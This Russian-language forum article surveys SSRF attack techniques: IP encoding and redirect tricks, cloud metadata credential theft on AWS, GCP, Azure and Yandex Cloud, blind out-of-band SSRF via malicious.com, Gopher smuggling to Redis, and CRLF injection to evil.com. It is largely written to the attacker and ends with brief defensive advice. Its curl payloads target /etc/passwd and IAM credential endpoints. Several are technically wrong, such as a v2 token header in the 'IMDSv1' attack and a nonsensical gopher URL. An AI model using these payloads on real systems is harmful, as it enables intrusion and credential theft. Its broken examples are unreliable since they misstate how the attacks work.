SSRF в OWASP Top 10
Кажется, SSRF - это устаревшая уязвимость и все уже давно о ней знают. Чё, скажете, а зачем об этом писать, если всё давно понятно? На самом деле, она всё ещё остается одним из самых опасных и трудноуловимых видов атак. Ну, во-первых, 2026 год на дворе, а во-вторых - с каждым годом SSRF эволюционирует. Далеко не все сервисы научились её корректно фильтровать.Протоколы меняются, а техника - улучшается. Ну а если мы ещё добавим сюда облачные платформы с их чудесными метаданными, собственно, то начинаем понимать, что SSRF уже не та классическая уязвимость, про которую можно почитать пару постов на форуме.
Классические техники
Окей, начнем с того, что все эти классические техники SSRF - вроде как всем давно известны. Но! Здесь нужно обратить внимание, что они продолжают оставаться рабочими. Несмотря на новшества и разнообразие техник, с ними всё равно встречаются. Тема настолько обширная, что даже самые стандартные эксплоиты до сих пор играют свою роль. Вот и поговорим о таких вещах, как манипуляции с URL-схемами, IP- редиректами. Далеко не все сервисы адекватно фильтруют такие штуки, и вот это как раз позволяет атакующим залезать туда, где их не ждут.URL schema tricks (file://, dict://)
Вот смотрите, бывает, что ты хочешь в запросе передать не просто обычный URL, а что-то вроде file:// или dict://. Ну, потому что кто-то, наверное, когда-то делал что-то похожее, и оно не сработало, а значит, это не может быть опасно. Да? Ну как бы да, но только если ты не забыл, что когда сервер кликает на такие схемы, то он может получить доступ к локальным ресурсам, которые никогда не должны были попасть в чужие руки.Суть атаки здесь в том, что злоумышленник может, например, через file:// запросить файл конфигурации сервера или другие внутренние файлы. А сервер же ничего не замечает - он же просто выполняет запрос, а заодно и передаёт личную информацию.
К примеру:
Bash:
curl -X GET "http://127.0.0.1/file:///etc/passwd"Он видит URL с нестандартной схемой
file://, что подразумевает попытку доступа к локальному файлу, а не обычный HTTP-запрос. Однако, если сервер не проверяет корректно такие запросы или не фильтрует доступ к локальным файлам, он может попытаться открыть файл /etc/passwd, что приведёт к утечке данных, если вдруг этот файл существует и доступен для чтения.IP representation: decimal, hex, octal
127.0.0.1 - это локальный адрес, который сервер должен воспринимать как "себя" (сам сервер). Он запрещает доступ извне. Но что, если этот адрес будет представлен в другом виде? Например, в шестнадцатеричном (0x7f000001) или восьмеричном (0177.0000.0001) формате? Эти формы на самом деле представляют тот же самый адрес, но фильтры безопасности, если они не настроены должным образом, могут не распознать их как 127.0.0.1.Вот пример кода с манипуляцией:
Bash:
curl -X GET "http://0x7f000001:8080"Интересно, правда? Фильтры могут смотреть на 127.0.0.1 и пропускать его, а вот с 0x7f000001 уже теряются, так как это немножко другое представление. Поэтому если кто-то на сервере не настроил правильную фильтрацию, то могут быть большие проблемы.
Open redirect chaining
Так вот, редиректы. Тут всё тоже довольно классически, но с маленьким нюансом. Когда ты сталкиваешься с уязвимостью SSRF и понимаешь, что сервер может делать запросы по твоей ссылке, ты начинаешь искать неочевидные пути. Один из них - это так называемый open redirect chaining. Классика! Ты цепляешь редирект за редиректом, и всё это начинается с SSRF. Получается, что запрос сначала идёт по одному адресу, а потом перенаправляется на внутренний сервис, который вообще не должен быть доступен.Суть этого метода проста - ты отправляешь серверу запрос на внешний сайт, который сразу же перенаправляет его на внутренний адрес, например, на метаданные облачного сервиса. В таком случае сервер уже делает запрос в ту зону, куда попасть внешним способом не получится.
Пример:
Bash:
curl -X GET "http://external.com/redirect?url=http://127.0.0.1"Здесь внешний сайт служит своего рода посредником, а сервер, следуя редиректу, оказывается в локальной сети. Этот метод сильно усложняет борьбу с SSRF, так как стандартные фильтры могут просто не поймать сложную цепочку редиректов, а на пути их не будет даже обычного подозрительного IP-адреса.
Вот такие вот классические техники. Простейшие на первый взгляд, но от этого они не теряют своей эффективности. И как показывает практика, довольно часто сервисы всё ещё имеют щели в фильтрации, даже если пытаются внедрить защиту. Многие разработчики просто не думают, что это по-прежнему может быть реальной угрозой.
Bypass фильтров 2026
Время не стоит на месте, а вместе с ним появляются новые способы обхода фильтров. Тут уже не так всё просто, как с классикой. Если раньше можно было заблокировать пару схем URL или поудалять пару символов, то теперь - здравствуй, DNS rebinding, URL парсинг и IPv6 zone ID abuse. Фильтры, кажется, всё умнее, но даже они не всегда поспевают за новыми уловками злоумышленников.Не будем зацикливаться на том, что блокировка по списку - это уже давно не панацея. Вместо этого давайте посмотрим на то, как можно обойти старые защиты и придумать новые способы эксплуатации.
DNS Rebinding через DoH
Давай начнем с того, что DNS rebinding - штука поистине злая, если ею умеют пользоваться. Мы привыкли к тому, что DNS-запросы - это просто такие штуки, которые переводят доменные имена в IP-адреса. Всё. Но оказывается, если злоумышленник делает DNS-запрос через DNS-over-HTTPS (DoH), фильтры, которые блокируют обычные DNS-запросы, оказываются абсолютно бессильны.Тут, кстати, возникает интересный момент: DoH даёт возможность скрыть настоящие запросы от стандартных фильтров. Скажем так: когда атакующий использует DoH, запрос идёт в зашифрованном виде через HTTPS. Кто там будет его контролировать, если весь запрос упакован в HTTPS?
Теперь представь, что сервер не фильтрует DoH-запросы и просто отправляет их дальше. И тут происходит магия - злоумышленник может подставить внутрь этого запроса нужный ему адрес и заставить сервер отправить запрос к внутреннему ресурсу. Печаль и боль.
Например, если злоумышленник контролирует DNS-сервер, он может заставить сервер сделать запрос на внутренний сервис, думая, что это внешний. Легко обходится фильтрация, и скрыть всё это от WAF становится гораздо проще.
Bash:
curl -X GET "https://external.com/doh?target=http://127.0.0.1:8080"URL Parser Differentials
Если ты не знаком с этой темой, то ты явно упускаешь много интересного. URL parser differentials - это когда сервер и прокси обрабатывают один и тот же URL по-разному. Причем парсинг может отличаться не только на разных уровнях (например, сервер и прокси могут по-разному интерпретировать URL с нестандартными символами), но и на разных серверах, которые работают с различными библиотеками для парсинга.В чём фишка? Злоумышленник может использовать разницу в обработке одного и того же URL для обхода фильтров. Если сервер на уровне своего парсера не замечает каких-то нюансов в URL, а прокси или firewall - замечают, то можно легко запустить атаку, которая проходит на сервере, но блокируется на прокси.
С такими атаками на парсинг URL зачастую можно заставить сервер отправить запрос, который выглядит абсолютно безопасно для прокси или фаервола, но фактически ведёт к обходу защит.
Пример:
Bash:
curl -X GET "http://example.com/%2e%2e%2f%2e%2e%2fetc/passwd"IPv6 zone ID abuse
IPv6 - это не просто новый формат адресации, а настоящая арена для атаки. IPv6 zone ID abuse - это вообще одна из самых хитрых техник обхода фильтров. В чем смысл? На самом деле, по-хитрому манипулировать zone ID можно, чтобы заставить сервер делать запросы в области, которые внешне недоступны.Zone ID - это как дополнительный тег, который используется для обозначения местоположения в сети при работе с IPv6. И, как это бывает, злоумышленники могут втиснуть нужный адрес внутрь этих данных и получить доступ к таким внутренним ресурсам, которые вроде бы должны быть защищены.
Обычно, когда используется IPv6, фаерволы и фильтры пытаются понимать, что с этим делать. Но не всегда это удаётся, и вот тут как раз и появляются проблемы с неправильной обработкой адресов, и они оказываются в нужных руках.
Cloud Metadata Exploitation
Ах, эти метаданные облачных платформ. Они дают нам столько возможностей, но одновременно становятся такими уязвимыми для атак! Если раньше речь шла о каком-то сервере, где можно было просто получить доступ к внутреннему файлу, то теперь игра на метаданных в облаке - это целая новая эпоха. Инфраструктура сервисов таких гигантов, как AWS, GCP, Azure, Yandex Cloud, порой не так защищена, как кажется на первый взгляд. А злоумышленники, конечно же, не упустят момент, чтобы этим воспользоваться. Особенно когда речь идет о таком мощном инструменте, как SSRF.AWS IMDS v1 vs v2: обход защит
Вот оно - любимое место для атакующих: AWS IMDS (Instance Metadata Service). Честно говоря, IMDS - это как входная дверь в мир AWS, где ты можешь достать кучу полезных данных. Сейчас AWS постепенно переходит на IMDSv2, который требует использования токенов для каждого запроса. Но, как это обычно бывает, многие старые сервисы ещё не обновлены до IMDSv2.IMDSv1 работает без токенов, и это, честно говоря, такой дикий лоукост для атакующего. Ты просто шлёшь запрос на метаданные и получаешь всё, что нужно. Пока всё не настроено должным образом, злоумышленник может получить доступ к секретам, которые он не должен был бы видеть.
Так что, если ты на стороне атакующего, вот что тебе нужно помнить: старые инстансы с IMDSv1 - это твой шанс. Благо, такая настройка на этих инстансах вряд ли отфильтруется на уровне SSRF.
Пример атаки:
Bash:
curl -H "X-aws-ec2-metadata-token: your_token_here" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/GCP и Azure metadata
Теперь давай посмотрим на Google Cloud Platform (GCP) и Azure. У каждого из этих облаков есть свои особенности и метаданные, которые атакующий может выудить через SSRF.В случае с GCP злоумышленник может обратиться к метаданным по адресу
Ссылка скрыта от гостей
, где можно получить ключи доступа и другую информацию, которая легко приводят к компрометации сервисов. Проблема в том, что если у тебя есть доступ к SSRF и ты можешь запрашивать эти адреса, то открываются просто невероятные возможности. И фильтрация на уровне базовых настроек не всегда помогает, особенно если защита настроена не на 100%.Azure, в свою очередь, может стать объектом атаки, если злоумышленник знает, как получить токены доступа через IMDS (Instance Metadata Service), где всё не так просто, как в AWS. Но если ты в состоянии обойти фильтры и нормализовать правильный запрос, то задача снова решаема. В Azure также есть механизмы защиты метаданных, но они не всегда такие непробиваемые, как могут показаться.
Yandex Cloud: специфика
И вот тут приходим к Yandex Cloud, который, кстати, тоже может оказаться под угрозой. Метаданные и их защита в Yandex Cloud пока не так активно обсуждаются, но если ты уже работаешь с сервисами и понимаешь, как устроены внутренние системы, то сможешь найти уязвимости.Yandex Cloud использует свою уникальную настройку для доступа к метаданным через адрес
http://169.254.169.254, что схоже с тем, как работает AWS. Однако, как и с другими облаками, если фильтрация настроена слабо, а твой запрос идёт через SSRF, тебе открывается путь к метаданным, а значит и к API-ключам, токенам и другим важным данным.Никакие системы фильтрации не смогут защитить тебя от простых запросов, если ты точно знаешь, как работает механизм SSRF и как можно использовать облачные метаданные для обхода защит. В Yandex Cloud это пока не так активно исправляют, и многие пользователи не обновляют свои инстансы с учётом всех возможных атак.
Blind SSRF
Blind SSRF - это когда ты вообще не видишь, что происходит, но сервер работает по твоим указаниям, как марионетка. Ты вроде отправляешь запрос, но ответа от сервера не получаешь. Всё то, что делает сервер - остаётся за кулисами. И всё же, несмотря на слепоту, у тебя есть возможность прощупать его слабые места и выкрутить их на свою пользу.Суть таких атак в том, что они не дают тебе прямого фидбэка от сервера. Нет прямых выводов, нет ошибок - ты просто ждёшь, чтобы увидеть, что там за свет появился. Иногда такие атаки проще провести, потому что фаерволы, фильтры и IDS/IPS-системы не всегда могут определить активность, если ты грамотно скрываешь её.
Ты бы подумал, что на первый взгляд таких атак невозможно провести, но на деле всё гораздо проще. Blind SSRF работает даже без прямого ответа. Работает через out-of-band каналы и на основе временных задержек, а чтобы понять, что всё сработало, тебе нужно прощупать сервер, как слепому человеку в темной комнате.
OOB через DNS
Out-of-Band (OOB) техника - это когда ты не получаешь ответа непосредственно от сервера, а получаешь «косвенные» сигналы. Одна из самых популярных техник для Blind SSRF - это использование DNS-запросов, которые отправляются на внешний сервер атакующего. Вроде ничего сверхъестественного, да? Но вот в чём фишка: сервер никогда не отправит тебе прямого ответа, но он будет делать DNS-запросы к тому месту, куда ты ему укажешь.Представь себе: ты отправляешь запрос серверу, но вместо того, чтобы дождаться ответа, он просто посылает запрос на DNS-сервер, который ты контролируешь. Ты этого не видишь, не получаешь данных напрямую, но по записи в логе DNS-сервера понимаешь, что запрос действительно был сделан.
Такое извращение в атаке может быть использовано для обхода фильтров, WAF'ов или IDS/IPS, которые вряд ли смогут определить такую активность. Ты можешь даже не знать, что сервер пытался достать данные с внутреннего ресурса, пока не увидишь результаты на своей стороне.
Пример:
Bash:
curl -X GET "http://target.com/path?file=http://malicious.com/file"Здесь вместо того, чтобы просто получить ответ от сервера, сервер может отправить DNS-запрос на malicious.com, который ты контролируешь. По этому запросу можно понять, что сервер был атакован, а фильтры вряд ли это поймут.
Timing-based detection
Другой подход, который активно используется в Blind SSRF, - это timing attacks. Суть в том, что ты не получаешь прямого фидбэка, но смотришь на задержки времени. Сервер может делать запросы на внутренние ресурсы, но поскольку ты не видишь ответ, ты начинаешь анализировать время отклика сервера на запросы. Эти временные задержки могут дать тебе кучу информации о внутренней структуре серверов.Тайминговые атаки интересны тем, что они используют элементарное поведение системы. Даже если нет прямого ответа на запрос, на время, необходимое серверу для обработки запроса, можно отслеживать тонкие изменения. И чем дольше сервер обрабатывает запрос, тем более вероятно, что он делает что-то внутреннее.
Пример тайминговой атаки через SSRF может выглядеть так:
Bash:
curl -X GET "http://target.com/path?file=http://localhost:8080"Blind SSRF, хотя и не даёт тебе прямых ответов, всё равно позволяет прокачивать свои атакующие скиллы на уровне анализа косвенных признаков. Всё, что нужно - это хитро настроить сервер на выполнение запросов и прощупать его реакции через непрямые каналы. Важно помнить, что Blind SSRF - это не просто неудачный запрос, это целая техника, работающая с временными задержками и анализа DNS-запросов, которые так легко пропускаются обычными фильтрами.
Protocol Smuggling
Вот тут начинается что-то поинтереснее. В чем суть? Ты берёшь один запрос, замешиваешь его на нескольких протоколах и отправляешь серверу. Он же ничего не замечает - а на самом деле ты получаешь доступ к тем ресурсам, которые должны быть скрыты. Как это работает? Ты фактически скрываешь данные в запросах, используя особенности протоколов. Обычные фильтры, такие как WAF или IDS/IPS, не всегда могут правильно обработать эти запросы. Они просто не видят, что произошло, потому что запросы выглядят вроде как нормальные. Но они прошли через систему.Представь себе: протоколы могут быть использованы таким образом, что данные, которые отправляются, не распознаются системой как одно целое. В результате ты получаешь контроль над тем, что на самом деле невозможно было бы сделать в обычных условиях.
Самый крутой момент: когда ты совмещаешь несколько протоколов, то фактически начинаешь манипулировать структурой пакета. Ты превращаешь обычную операцию в кучу запутанных манипуляций, которые проходят мимо всех барьеров безопасности.
Gopher: Redis, SMTP, Memcached
Злоумышленники используют Gopher для того, чтобы прокачать запросы и сделать их сложнее. В чём прикол? Ты можешь внедрить запросы в такие сервисы, как Redis, Memcached и даже SMTP, используя этот протокол. Вроде как Redis или Memcached - это обычные кеши, но они могут быть использованы для выполнения удалённых команд, если ты грамотно сформируешь запрос через Gopher.Для Redis, например, атака выглядит так: ты отправляешь запрос, который использует особенности Gopher-протокола, а сервер, не подозревая о подвохе, выполняет команду на Redis, на котором есть доступ к важным данным. Всё происходит через стандартный механизм SSRF, но результат может быть катастрофическим.
В случае с SMTP злоумышленник может заставить сервер через Gopher выполнить команду, которая инициирует отправку email-сообщений с секретными данными. В этом случае фаервол или WAF просто не могут обработать такую атаку, потому что они смотрят на неё как на нормальный запрос, хотя это полноценная эксплуатация.
Пример:
Bash:
curl -X GET "gopher://target.com/redis://127.0.0.1:6379"CRLF injection через SSRF
Ещё один прикольный способ - это CRLF-инъекция через SSRF. CRLF (Carriage Return Line Feed) - это последовательность символов, которая используется для завершения строки в HTTP-заголовках. Ну и вот, если сервер обрабатывает запросы через SSRF и не фильтрует корректно эти символы, ты можешь легко внедрить их в HTTP-заголовки.Суть этой атаки заключается в том, что ты вставляешь CRLF в запрос, и сервер, не замечая, что происходит, добавляет это в заголовки. Это даёт тебе возможность манипулировать ими, встраивать вредоносный код, или заставить сервер отправить запрос на другой адрес.
Типичная атака CRLF-инъекцией выглядит так:
Bash:
curl -X GET "http://example.com/path?file=http://evil.com%0D%0AHost:evil.com"Здесь символы
%0D%0A - это CRLF-инъекция, которая добавляет новый заголовок Host:evil.com в запрос. В результате, сервер вместо того, чтобы обработать нормальный запрос, может переслать его на evil.com, что может привести к утечке данных или выполнению нежелательных команд.Подведем итоги
SSRF - это тёмная лошадка в мире атак, которая каждый год становится всё опаснее. Облака, метаданные, хитрые обходы фильтров и протоколы - это всё даёт атакующим просто невероятные возможности. И несмотря на все усилия по защите, если ты не обновил настройки безопасности или полагаешься на старые методы защиты, можешь быть уверенным: твоя система не готова к атакам 2026 года.А если уж серьёзно, всё не так уж сложно. Контролируй, кто и куда может отправлять запросы, следи за внутренними сервисами и метаданными. Защита от SSRF - это не просто блокировка IP или настроенные фильтры. Это стратегия, где важны каждый шаг, каждая изоляция и каждый дополнительный барьер. Если ты настроишь всё правильно, то можно спать спокойно.
Последнее редактирование:
